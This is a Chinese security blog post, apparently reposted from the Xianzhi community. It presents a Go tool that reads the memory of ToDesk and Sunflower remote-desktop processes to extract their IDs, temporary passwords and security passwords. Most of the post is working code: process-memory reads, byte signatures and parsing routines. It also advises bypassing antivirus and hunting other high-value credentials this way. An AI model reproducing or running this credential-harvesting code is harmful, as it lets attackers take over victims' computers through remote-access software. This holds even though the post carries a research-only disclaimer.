文章作者:先知社区(释*e)
文章来源:https://xz.aliyun.com/t/15834
1►
思路
版本的todesk和向日葵已经无法从配置文件获取密码,而且常规的替换手法也已经失效通过学习yangliukk师傅分享的思路,搞了个CMD下从内存获取密码的工具。
首先获取对应进程的pid,选择为console的进程
tasklist | find /i "todesk"
然后对指定pid的内存进行dump出来,使用二进制工具进行分析,就可以找到相关的密码
但是dump出来的文件大小都在几百M或者1G以上,就想着实现自动化分析处理
2►
提取特征-todesk
todesk
像ID、手机号、版本之类的信息可以通过读取配置文件来解决,不需要去内存中检索
获取pid的文件路径
execPath, err := getExecutablePath(int(*pid))if err != nil {fmt.Printf("无法获取PID %d的可执行文件路径: %v\n", *pid, err) return}
获取配置文件信息
// 获取目录路径dir := filepath.Dir(execPath)configPath := filepath.Join(dir, "config.ini")// 读取并输出config.ini中的字段clientId, version, loginPhone, authMode, err := readConfig(configPath)if err != nil {fmt.Println("无法读取config.ini文件:", err) return}// 输出结果fmt.Println("\nID:", clientId)fmt.Println("Version:", version)fmt.Println("LoginPhone:", loginPhone)
获取密码,我这里使用的是先获取当天时间,然后在内存中搜索这个字符串,提取前1kb的内存,遍历这1kb里的所有字符串。也可以通过正则的方式去匹配。
if mbi.State == MEM_C && mbi.Protect == PAGE_R && mbi.Type == MEM_P { // 创建缓冲区用于读取内存buffer := make([]byte, mbi.RegionSize) var bytesRead uintptrreadP.Call(handle, mbi.BaseA, uintptr(unsafe.Pointer(&buffer[0])), mbi.RegionSize, uintptr(unsafe.Pointer(&bytesRead))) // 在内存块中查找目标字符串index := bytes.Index(buffer, searchBytes)if index != -1 { // 计算前 1024 字节的起始地址 start := index - 1024if start < 0 { start = 0} // 提取前1024字节内容data := buffer[start : index+len(searchBytes)] // 从数据中提取所有字符串foundStrings := extractStrings(data)
而根据配置文件中authMode的值进行一个判断,当为0时,代表仅使用了临时密码。为1时,仅使用了安全密码,为2时,同时使用。
if authMode == "0" {fmt.Println("\n目标仅使用临时密码登陆")fmt.Println("临时密码:", data[0])} else if authMode == "1" {fmt.Println("\n目标仅使用安全密码登陆")fmt.Println("临时密码: ", data[0])fmt.Println("安全密码: ", data[1])} else {fmt.Println("\n临时密码和安全密码都可以使用")fmt.Println("临时密码: ", data[0])fmt.Println("安全密码: ", data[1])}
3►
提取特征-向日葵
向日葵特征:
<f f=yahei.28 c=color_edit >xxxxxx</f>
大概思路:查找<f f=yahei.28 c=color_edit >的字符串,然后往后提取6、7、8、13位,且是</f>结尾
临时密码6位,自定义密码6-8位,ID是13位
buffer := make([]byte, mbi.RegionSize)var bytesRead uintptrreadP.Call(handle, mbi.BaseA, uintptr(unsafe.Pointer(&buffer[0])), mbi.RegionSize, uintptr(unsafe.Pointer(&bytesRead)))// "<f f=yahei.28 c=color_edit >"searchBytes := []byte{0x3C, 0x66, 0x20, 0x66, 0x3D, 0x79, 0x61, 0x68, 0x65, 0x69, 0x2E, 0x32, 0x38, 0x20, 0x63, 0x3D,0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x65, 0x64, 0x69, 0x74, 0x20, 0x3E,}// "</f>" 的16进制endTag := []byte{0x3C, 0x2F, 0x66, 0x3E}
因为如果使用了临时密码,每次连接后默认自动更新,因此内存中会有多个密码。
提取内存地址最后的那个为当前密码(非100%正确),并记录所有密码为历史密码,如果不对可以从历史密码里尝试
// 检查字符串是否以 "</f>" 结尾if bytes.Equal(buffer[endOfString:endOfString+len(endTag)], endTag) { // 如果是13位字符串,且不包含 `<`,则记录为 IDif length == 13 && !bytes.Contains(extractedString, []byte("<")) {id = string(extractedString)}if length >= 6 && length <= 8 {if _, exists := allPasswordsMap[string(extractedString)]; !exists {allPasswordsMap[string(extractedString)] = true }if mbi.BaseA+uintptr(index) > lastPasswordAddress {lastPassword = string(extractedString)lastPasswordAddress = mbi.BaseA + uintptr(index)}}}
最后结果输出
// 输出最后找到的密码和 IDif id != "" {fmt.Printf("识别码: %s\n", id)}if lastPassword != "" {fmt.Printf("密码: %s \n", lastPassword)}// 输出去重后的历史密码if len(allPasswordsMap) > 0 {fmt.Println("\n历史密码:")for pwd := range allPasswordsMap {fmt.Println(pwd)}}fmt.Println("\n密码如果不对就从历史密码里尝试...")
4►
总结
理论上是通杀市面很多软件的,但是因为涉及到读取内存,会触发杀软的一些规则,需要自行bypass一下。
可以思考一下还有哪些高价值凭据可以通过这种方式进行获取
项目地址
https://github.com/milu001/sundeskQ
免责声明:本工具仅供安全研究与学习之用,禁止用于任何非法活动。如用于其他用途,由使用者承担全部法律及连带责任,与工具作者无关。
用法:
最新版todesk
最新版向日葵
文章来源:李白你好
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END


















暂无评论内容